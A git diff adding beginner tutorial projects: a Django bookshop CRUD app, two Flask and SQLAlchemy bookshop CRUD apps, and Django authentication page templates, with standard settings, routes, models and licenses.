title = data['title'], + author = data['author'], + isbn = data['isbn'], + price = data['price'], + image = image + ) + # going to the home page + return redirect('home') + return render(request, 'books/add-book.html') + + +# this is a view for editing the book's info +def edit_book(request, id): + # getting the book to be updated + book = Book.objects.get(pk=id) + # populating the form with the book's information + form = EditBookForm(instance=book) + # checking if the request is POST + if request.method == 'POST': + # filling the form with all the request data + form = EditBookForm(request.POST, request.FILES, instance=book) + # checking if the form's data is valid + if form.is_valid(): + # saving the data to the database + form.save() + # redirecting to the home page + return redirect('home') + context = {'form': form} + return render(request, 'books/update-book.html', context) + + + +# this is a view for deleting a book +def delete_book(request, id): + # getting the book to be deleted + book = Book.objects.get(pk=id) + # checking if the method is POST + if request.method == 'POST': + # delete the book + book.delete() + # return to home after a success delete + return redirect('home') + context = {'book': book} + return render(request, 'books/delete-book.html', context) diff --git a/web-programming/bookshop-crud-app-django/bookstore/__init__.py b/web-programming/bookshop-crud-app-django/bookstore/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/bookshop-crud-app-django/bookstore/__pycache__/__init__.cpython-310.pyc b/web-programming/bookshop-crud-app-django/bookstore/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..e7cb678b Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookstore/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/bookstore/__pycache__/__init__.cpython-39.pyc b/web-programming/bookshop-crud-app-django/bookstore/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..2cafb967 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookstore/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/bookstore/__pycache__/settings.cpython-310.pyc b/web-programming/bookshop-crud-app-django/bookstore/__pycache__/settings.cpython-310.pyc new file mode 100644 index 00000000..be6440d4 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookstore/__pycache__/settings.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/bookstore/__pycache__/settings.cpython-39.pyc b/web-programming/bookshop-crud-app-django/bookstore/__pycache__/settings.cpython-39.pyc new file mode 100644 index 00000000..42f3f088 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookstore/__pycache__/settings.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/bookstore/__pycache__/urls.cpython-310.pyc b/web-programming/bookshop-crud-app-django/bookstore/__pycache__/urls.cpython-310.pyc new file mode 100644 index 00000000..9e4cea9b Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookstore/__pycache__/urls.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/bookstore/__pycache__/urls.cpython-39.pyc b/web-programming/bookshop-crud-app-django/bookstore/__pycache__/urls.cpython-39.pyc new file mode 100644 index 00000000..5ddedd01 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookstore/__pycache__/urls.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/bookstore/__pycache__/wsgi.cpython-310.pyc b/web-programming/bookshop-crud-app-django/bookstore/__pycache__/wsgi.cpython-310.pyc new file mode 100644 index 00000000..72fc1b00 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookstore/__pycache__/wsgi.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/bookstore/__pycache__/wsgi.cpython-39.pyc b/web-programming/bookshop-crud-app-django/bookstore/__pycache__/wsgi.cpython-39.pyc new file mode 100644 index 00000000..7a2d0b47 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookstore/__pycache__/wsgi.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/bookstore/asgi.py b/web-programming/bookshop-crud-app-django/bookstore/asgi.py new file mode 100644 index 00000000..bc5f1368 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/bookstore/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for bookstore project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.0/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'bookstore.settings') + +application = get_asgi_application() diff --git a/web-programming/bookshop-crud-app-django/bookstore/settings.py b/web-programming/bookshop-crud-app-django/bookstore/settings.py new file mode 100644 index 00000000..aa82815a --- /dev/null +++ b/web-programming/bookshop-crud-app-django/bookstore/settings.py @@ -0,0 +1,135 @@ +""" +Django settings for bookstore project. + +Generated by 'django-admin startproject' using Django 4.0.6. + +For more information on this file, see +https://docs.djangoproject.com/en/4.0/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.0/ref/settings/ +""" + +from pathlib import Path + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.0/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-&2vin_80us&ns@%mty%y9ym=!c&oyq6i(=e^r=x^&9l&xi$39m' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + # created applications + 'books', +] + + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'bookstore.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'bookstore.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/4.0/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.0/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.0/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/4.0/howto/static-files/ + +STATIC_URL = 'static/' + +# all images will be located in the images folder inside static foldr +MEDIA_URL = '/images/' + +# The application will find all the image files in the base static folder +MEDIA_ROOT = BASE_DIR / 'static/' + +# The application will find all the static files in the base static folder +STATICFILES_DIRS = [ BASE_DIR / 'static' ] + +# Default primary key field type +# https://docs.djangoproject.com/en/4.0/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' diff --git a/web-programming/bookshop-crud-app-django/bookstore/urls.py b/web-programming/bookshop-crud-app-django/bookstore/urls.py new file mode 100644 index 00000000..3fd63ad4 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/bookstore/urls.py @@ -0,0 +1,18 @@ +# importing the django's in-built admin url +from django.contrib import admin +# importing path and include from django's in-built urls +from django.urls import path, include + +# importing conf from settings.py +from django.conf import settings +# importing conf.urls from static +from django.conf.urls.static import static + +# defining the list for urls +urlpatterns = [ + path('admin/', admin.site.urls), + # registering books application's urls in project + path('bookstore/', include('books.urls')), +] +# appending the urls with the static urls +urlpatterns += static(settings.MEDIA_URL, document_root = settings.MEDIA_ROOT) \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/bookstore/wsgi.py b/web-programming/bookshop-crud-app-django/bookstore/wsgi.py new file mode 100644 index 00000000..d907828f --- /dev/null +++ b/web-programming/bookshop-crud-app-django/bookstore/wsgi.py @@ -0,0 +1,16 @@ +""" +WSGI config for bookstore project. + +It exposes the WSGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.0/howto/deployment/wsgi/ +""" + +import os + +from django.core.wsgi import get_wsgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'bookstore.settings') + +application = get_wsgi_application() diff --git a/web-programming/bookshop-crud-app-django/db.sqlite3 b/web-programming/bookshop-crud-app-django/db.sqlite3 new file mode 100644 index 00000000..5ad967a6 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/db.sqlite3 differ diff --git a/web-programming/bookshop-crud-app-django/manage.py b/web-programming/bookshop-crud-app-django/manage.py new file mode 100644 index 00000000..1de327f3 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/manage.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +"""Django's command-line utility for administrative tasks.""" +import os +import sys + + +def main(): + """Run administrative tasks.""" + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'bookstore.settings') + try: + from django.core.management import execute_from_command_line + except ImportError as exc: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) from exc + execute_from_command_line(sys.argv) + + +if __name__ == '__main__': + main() diff --git a/web-programming/bookshop-crud-app-django/requirements.txt b/web-programming/bookshop-crud-app-django/requirements.txt new file mode 100644 index 00000000..a4088d3a --- /dev/null +++ b/web-programming/bookshop-crud-app-django/requirements.txt @@ -0,0 +1,2 @@ +django +Pillow \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/static/images/414zYx1SEoL.jpg b/web-programming/bookshop-crud-app-django/static/images/414zYx1SEoL.jpg new file mode 100644 index 00000000..2643bacc Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/414zYx1SEoL.jpg differ diff --git a/web-programming/bookshop-crud-app-django/static/images/41iYPb47M-L._SX384_BO1204203200_.jpg b/web-programming/bookshop-crud-app-django/static/images/41iYPb47M-L._SX384_BO1204203200_.jpg new file mode 100644 index 00000000..e851997a Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/41iYPb47M-L._SX384_BO1204203200_.jpg differ diff --git a/web-programming/bookshop-crud-app-django/static/images/51av4IdK8LL.jpg b/web-programming/bookshop-crud-app-django/static/images/51av4IdK8LL.jpg new file mode 100644 index 00000000..aee081d0 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/51av4IdK8LL.jpg differ diff --git a/web-programming/bookshop-crud-app-django/static/images/51gwRCd9PL.jpg b/web-programming/bookshop-crud-app-django/static/images/51gwRCd9PL.jpg new file mode 100644 index 00000000..cca1cf75 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/51gwRCd9PL.jpg differ diff --git a/web-programming/bookshop-crud-app-django/static/images/51p6vUygeL.jpg b/web-programming/bookshop-crud-app-django/static/images/51p6vUygeL.jpg new file mode 100644 index 00000000..cb2ca933 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/51p6vUygeL.jpg differ diff --git a/web-programming/bookshop-crud-app-django/static/images/71GPxGNQ6L.jpg b/web-programming/bookshop-crud-app-django/static/images/71GPxGNQ6L.jpg new file mode 100644 index 00000000..5ceaf556 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/71GPxGNQ6L.jpg differ diff --git a/web-programming/bookshop-crud-app-django/static/images/978-1-4302-4210-9.jpg b/web-programming/bookshop-crud-app-django/static/images/978-1-4302-4210-9.jpg new file mode 100644 index 00000000..8f174138 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/978-1-4302-4210-9.jpg differ diff --git a/web-programming/bookshop-crud-app-django/static/images/Black_and_White_Modern_How_To_Become_A_Professional_Hacker_Book_Cover.png b/web-programming/bookshop-crud-app-django/static/images/Black_and_White_Modern_How_To_Become_A_Professional_Hacker_Book_Cover.png new file mode 100644 index 00000000..3e814cf7 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/Black_and_White_Modern_How_To_Become_A_Professional_Hacker_Book_Cover.png differ diff --git a/web-programming/bookshop-crud-app-django/static/images/download.png b/web-programming/bookshop-crud-app-django/static/images/download.png new file mode 100644 index 00000000..b80664f1 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/static/images/download.png differ diff --git a/web-programming/bookshop-crud-app-flask-fullstack/LICENSE b/web-programming/bookshop-crud-app-flask-fullstack/LICENSE new file mode 100644 index 00000000..7a493e2d --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/LICENSE @@ -0,0 +1,20 @@ +The MIT License (MIT) + +Copyright (c) 2022 Ezzeddin Abdullah + +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software is furnished to do so, +subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR +COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER +IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-flask-fullstack/README.md b/web-programming/bookshop-crud-app-flask-fullstack/README.md new file mode 100644 index 00000000..76f40df7 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/README.md @@ -0,0 +1,12 @@ +# Fullstack Bookshop CRUD app using MySQL with Flask and SQLAlchemy + +## Quick start +```bash +$ python3 -m venv venv +$ . venv/bin/activate +$ pip install --upgrade pip +$ pip install -r requirements.txt +$ cd fullstack_crud_flask_sqlalchemy +$ export FLASK_APP=bookshop.py +$ flask run +``` diff --git a/web-programming/bookshop-crud-app-flask-fullstack/app/__init__.py b/web-programming/bookshop-crud-app-flask-fullstack/app/__init__.py new file mode 100644 index 00000000..fa7056db --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/app/__init__.py @@ -0,0 +1,17 @@ +from flask import Flask +from flask_sqlalchemy import SQLAlchemy +from flask_bootstrap import Bootstrap +from config import config + +db = SQLAlchemy() +bootstrap = Bootstrap() + + +def create_app(config_name): + app = Flask(__name__) + app.config.from_object(config[config_name]) + config[config_name].init_app(app) + + bootstrap.init_app(app) + db.init_app(app) + return app diff --git a/web-programming/bookshop-crud-app-flask-fullstack/app/models.py b/web-programming/bookshop-crud-app-flask-fullstack/app/models.py new file mode 100644 index 00000000..b9ab5bc0 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/app/models.py @@ -0,0 +1,17 @@ +from . import db + + +class Book(db.Model): + __tablename__ = 'books' + isbn = db.Column(db.Integer, primary_key=True) + author = db.Column(db.String(100), nullable=False) + title = db.Column(db.String(100), nullable=False) + price = db.Column(db.Float) + + def to_json(self): + return { + 'isbn': self.isbn, + 'author': self.author, + 'title': self.title, + 'price': self.price + } diff --git a/web-programming/bookshop-crud-app-flask-fullstack/app/routes.py b/web-programming/bookshop-crud-app-flask-fullstack/app/routes.py new file mode 100644 index 00000000..c40aad3d --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/app/routes.py @@ -0,0 +1,65 @@ +import os +from . import create_app +from .models import Book +from . import db +from flask import jsonify, redirect, request, abort, render_template, url_for + +app = create_app(os.getenv('FLASK_CONFIG') or 'default') + + +@app.route("/") +def index(): + books = Book.query.all() + return render_template("index.html", books=books) + + +@app.route("/book/list", methods=["GET"]) +def get_books(): + books = Book.query.all() + return jsonify([book.to_json() for book in books]) + + +@app.route("/book/", methods=["GET"]) +def get_book(isbn): + book = Book.query.get(isbn) + if book is None: + abort(404) + return render_template("book.html", isbn=isbn) + + +@app.route("/delete/", methods=["POST"]) +def delete(isbn): + book = Book.query.get(isbn) + if book is None: + abort(404) + db.session.delete(book) + db.session.commit() + return redirect(url_for("index")) + + +@app.route('/add_book/', methods=['POST']) +def add_book(): + if not request.form: + abort(400) + book = Book( + title=request.form.get('title'), + author=request.form.get('author'), + price=request.form.get('price') + ) + db.session.add(book) + db.session.commit() + return redirect(url_for("index")) + + +@app.route('/update_book/', methods=['POST']) +def update_book(isbn): + if not request.form: + abort(400) + book = Book.query.get(isbn) + if book is None: + abort(404) + book.title = request.form.get('title', book.title) + book.author = request.form.get('author', book.author) + book.price = request.form.get('price', book.price) + db.session.commit() + return redirect(url_for("index")) diff --git a/web-programming/bookshop-crud-app-flask-fullstack/app/static/main.css b/web-programming/bookshop-crud-app-flask-fullstack/app/static/main.css new file mode 100644 index 00000000..0304ed6c --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/app/static/main.css @@ -0,0 +1,12 @@ +body { + padding-top: 50px; +} + +.starter-template { + padding: 40px 15px; + text-align: center; +} + +td, th { + text-align: center +} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-flask-fullstack/app/templates/base.html b/web-programming/bookshop-crud-app-flask-fullstack/app/templates/base.html new file mode 100644 index 00000000..7f751757 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/app/templates/base.html @@ -0,0 +1,36 @@ +{% extends "bootstrap/base.html" %} + +{% block title %}Bookshop{% endblock %} + +{% block head %} +{{ super() }} + +{% endblock %} +{% block navbar %} + + +{% endblock %} + +{% block content %} +
+ {% block page_content %} {% endblock %} +
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-flask-fullstack/app/templates/book.html b/web-programming/bookshop-crud-app-flask-fullstack/app/templates/book.html new file mode 100644 index 00000000..1fc7edae --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/app/templates/book.html @@ -0,0 +1,7 @@ +{% extends "base.html" %} + +{% block page_content %} +
+

Book's ISBN: {{ isbn }}

+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-flask-fullstack/app/templates/books.html b/web-programming/bookshop-crud-app-flask-fullstack/app/templates/books.html new file mode 100644 index 00000000..9a739668 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/app/templates/books.html @@ -0,0 +1,7 @@ +{% extends "base.html" %} + +{% block page_content %} +
+ +
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-flask-fullstack/app/templates/index.html b/web-programming/bookshop-crud-app-flask-fullstack/app/templates/index.html new file mode 100644 index 00000000..a3e70a6b --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/app/templates/index.html @@ -0,0 +1,154 @@ +{% extends "base.html" %} + +{% block page_content %} +
+

Welcome to our bookshop!

+
+ + + + + + +
+
+ + + + + + + + + + + + {% for book in books %} + + + + + + + + + + + + + + + + + + + {% endfor %} + +
ISBNAuthorTitlePriceAction
{{ book.isbn }}{{ book.author }}{{ book.title }}{{ book.price }}
+
+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-flask-fullstack/bookshop.py b/web-programming/bookshop-crud-app-flask-fullstack/bookshop.py new file mode 100644 index 00000000..1199db89 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/bookshop.py @@ -0,0 +1,8 @@ +from app import db +from app.routes import app +from app.models import Book + + +@app.shell_context_processor +def make_shell_context(): + return dict(db=db, Book=Book) diff --git a/web-programming/bookshop-crud-app-flask-fullstack/config.py b/web-programming/bookshop-crud-app-flask-fullstack/config.py new file mode 100644 index 00000000..cbdb1609 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/config.py @@ -0,0 +1,31 @@ +import os + + +class Config: + SQLALCHEMY_TRACK_MODIFICATIONS = False + + @staticmethod + def init_app(app): + pass + + +class DevelopmentConfig(Config): + DEBUG = True + SQLALCHEMY_DATABASE_URI = os.getenv("DEV_DATABASE_URL") + + +class TestingConfig(Config): + TESTING = True + SQLALCHEMY_DATABASE_URI = os.getenv("TEST_DATABASE_URL") + + +class ProductionConfig(Config): + SQLALCHEMY_DATABASE_URI = os.getenv("DATABASE_URL") + + +config = { + 'development': DevelopmentConfig, + 'testing': TestingConfig, + 'production': ProductionConfig, + 'default': DevelopmentConfig +} diff --git a/web-programming/bookshop-crud-app-flask-fullstack/requirements.txt b/web-programming/bookshop-crud-app-flask-fullstack/requirements.txt new file mode 100644 index 00000000..298f6009 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask-fullstack/requirements.txt @@ -0,0 +1,16 @@ +click==8.0.4 +dataclasses +Flask==2.0.3 +Flask-SQLAlchemy==2.5.1 +Flask-Bootstrap==3.3.7.1 +greenlet==1.1.2 +importlib-metadata==4.8.3 +itsdangerous==2.0.1 +Jinja2==3.0.3 +MarkupSafe==2.0.1 +# pkg_resources +PyMySQL==1.0.2 +SQLAlchemy==1.4.35 +typing_extensions==4.1.1 +Werkzeug==2.0.3 +zipp==3.6.0 diff --git a/web-programming/bookshop-crud-app-flask/LICENSE b/web-programming/bookshop-crud-app-flask/LICENSE new file mode 100644 index 00000000..7a493e2d --- /dev/null +++ b/web-programming/bookshop-crud-app-flask/LICENSE @@ -0,0 +1,20 @@ +The MIT License (MIT) + +Copyright (c) 2022 Ezzeddin Abdullah + +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software is furnished to do so, +subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR +COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER +IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-flask/README.md b/web-programming/bookshop-crud-app-flask/README.md new file mode 100644 index 00000000..a6e06d01 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask/README.md @@ -0,0 +1 @@ +# [How to Build a CRUD App with Flask and SQLAlchemy in Python](https://www.thepythoncode.com/article/building-crud-app-with-flask-and-sqlalchemy) \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-flask/app/__init__.py b/web-programming/bookshop-crud-app-flask/app/__init__.py new file mode 100644 index 00000000..90c90529 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask/app/__init__.py @@ -0,0 +1,14 @@ +from flask import Flask +from flask_sqlalchemy import SQLAlchemy +from config import config + +db = SQLAlchemy() + + +def create_app(config_name): + app = Flask(__name__) + app.config.from_object(config[config_name]) + config[config_name].init_app(app) + + db.init_app(app) + return app diff --git a/web-programming/bookshop-crud-app-flask/app/models.py b/web-programming/bookshop-crud-app-flask/app/models.py new file mode 100644 index 00000000..b9ab5bc0 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask/app/models.py @@ -0,0 +1,17 @@ +from . import db + + +class Book(db.Model): + __tablename__ = 'books' + isbn = db.Column(db.Integer, primary_key=True) + author = db.Column(db.String(100), nullable=False) + title = db.Column(db.String(100), nullable=False) + price = db.Column(db.Float) + + def to_json(self): + return { + 'isbn': self.isbn, + 'author': self.author, + 'title': self.title, + 'price': self.price + } diff --git a/web-programming/bookshop-crud-app-flask/app/routes.py b/web-programming/bookshop-crud-app-flask/app/routes.py new file mode 100644 index 00000000..1643f822 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask/app/routes.py @@ -0,0 +1,59 @@ +import os +from . import create_app +from .models import Book +from . import db +from flask import jsonify, request, abort + +app = create_app(os.getenv('FLASK_CONFIG') or 'default') + + +@app.route("/book/list", methods=["GET"]) +def get_books(): + books = Book.query.all() + return jsonify([book.to_json() for book in books]) + + +@app.route("/book/", methods=["GET"]) +def get_book(isbn): + book = Book.query.get(isbn) + if book is None: + abort(404) + return jsonify(book.to_json()) + + +@app.route("/book/", methods=["DELETE"]) +def delete_book(isbn): + book = Book.query.get(isbn) + if book is None: + abort(404) + db.session.delete(book) + db.session.commit() + return jsonify({'result': True}) + + +@app.route('/book', methods=['POST']) +def create_book(): + if not request.json: + abort(400) + book = Book( + title=request.json.get('title'), + author=request.json.get('author'), + price=request.json.get('price') + ) + db.session.add(book) + db.session.commit() + return jsonify(book.to_json()), 201 + + +@app.route('/book/', methods=['PUT']) +def update_book(isbn): + if not request.json: + abort(400) + book = Book.query.get(isbn) + if book is None: + abort(404) + book.title = request.json.get('title', book.title) + book.author = request.json.get('author', book.author) + book.price = request.json.get('price', book.price) + db.session.commit() + return jsonify(book.to_json()) diff --git a/web-programming/bookshop-crud-app-flask/bookshop.py b/web-programming/bookshop-crud-app-flask/bookshop.py new file mode 100644 index 00000000..1199db89 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask/bookshop.py @@ -0,0 +1,8 @@ +from app import db +from app.routes import app +from app.models import Book + + +@app.shell_context_processor +def make_shell_context(): + return dict(db=db, Book=Book) diff --git a/web-programming/bookshop-crud-app-flask/config.py b/web-programming/bookshop-crud-app-flask/config.py new file mode 100644 index 00000000..cbdb1609 --- /dev/null +++ b/web-programming/bookshop-crud-app-flask/config.py @@ -0,0 +1,31 @@ +import os + + +class Config: + SQLALCHEMY_TRACK_MODIFICATIONS = False + + @staticmethod + def init_app(app): + pass + + +class DevelopmentConfig(Config): + DEBUG = True + SQLALCHEMY_DATABASE_URI = os.getenv("DEV_DATABASE_URL") + + +class TestingConfig(Config): + TESTING = True + SQLALCHEMY_DATABASE_URI = os.getenv("TEST_DATABASE_URL") + + +class ProductionConfig(Config): + SQLALCHEMY_DATABASE_URI = os.getenv("DATABASE_URL") + + +config = { + 'development': DevelopmentConfig, + 'testing': TestingConfig, + 'production': ProductionConfig, + 'default': DevelopmentConfig +} diff --git a/web-programming/django-authentication/README.md b/web-programming/django-authentication/README.md new file mode 100644 index 00000000..9bfca6f1 --- /dev/null +++ b/web-programming/django-authentication/README.md @@ -0,0 +1 @@ +# [How to Build an Authentication System in Django](https://www.thepythoncode.com/article/authentication-system-in-django-python) \ No newline at end of file diff --git a/web-programming/django-authentication/accounts/Templates/base.html b/web-programming/django-authentication/accounts/Templates/base.html new file mode 100644 index 00000000..436ba0d8 --- /dev/null +++ b/web-programming/django-authentication/accounts/Templates/base.html @@ -0,0 +1,70 @@ + + + + + + + + + + + + {% block title %} Simple site {% endblock %} + + + + {%block body%} +
+ + + + +
+ +
+ {% block content %}{% endblock %} +
+ + + {% endblock body%} + + + + diff --git a/web-programming/django-authentication/accounts/Templates/home.html b/web-programming/django-authentication/accounts/Templates/home.html new file mode 100644 index 00000000..b06e6532 --- /dev/null +++ b/web-programming/django-authentication/accounts/Templates/home.html @@ -0,0 +1,10 @@ +{% extends 'base.html'%} + +{% block content%} + +
+

Hello {{user}}

+

This is a simple site

+
+logout +{% endblock %} diff --git a/web-programming/django-authentication/accounts/Templates/landing_page.html b/web-programming/django-authentication/accounts/Templates/landing_page.html new file mode 100644 index 00000000..c28994ae --- /dev/null +++ b/web-programming/django-authentication/accounts/Templates/landing_page.html @@ -0,0 +1,44 @@ + + +{% extends 'base.html'%} +{% block content%} + + + + +
+
+
+
+
+ +
+ +
+ +

This is login and sign up landing page test!

+

Let's try

+
+
+ + Get Started + Log in + +
+
+
+ + +
+
+ +
+ + + +
+

Copyright © Me 2022

+
+
+ +{% endblock%} diff --git a/web-programming/django-authentication/accounts/Templates/login.html b/web-programming/django-authentication/accounts/Templates/login.html new file mode 100644 index 00000000..12f4e147 --- /dev/null +++ b/web-programming/django-authentication/accounts/Templates/login.html @@ -0,0 +1,28 @@ +{% extends 'base.html' %} + +{% block body %} +
+

+ Simple site +

+
+
+
+
+

Log in

+
+ {% csrf_token %} + {{ form.as_p }} + +
+
+
+ New to Simple site? Sign up +
+
+ +
+
+
+ +{% endblock %} diff --git a/web-programming/django-authentication/accounts/Templates/signup.html b/web-programming/django-authentication/accounts/Templates/signup.html new file mode 100644 index 00000000..b50ffe16 --- /dev/null +++ b/web-programming/django-authentication/accounts/Templates/signup.html @@ -0,0 +1,29 @@ +{% extends 'base.html' %} + +{% block content %} + + + + +
+

Sign up

+
+ {% csrf_token %} + {% for field in form %} +

+ {{ field.label_tag }}
+ {{ field }} + {% if field.help_text %} + {{ field.help_text }} + {% endif %} + {% for error in field.errors %} +

{{ error }} + {% endfor %} +

+ {% endfor %} + +
+
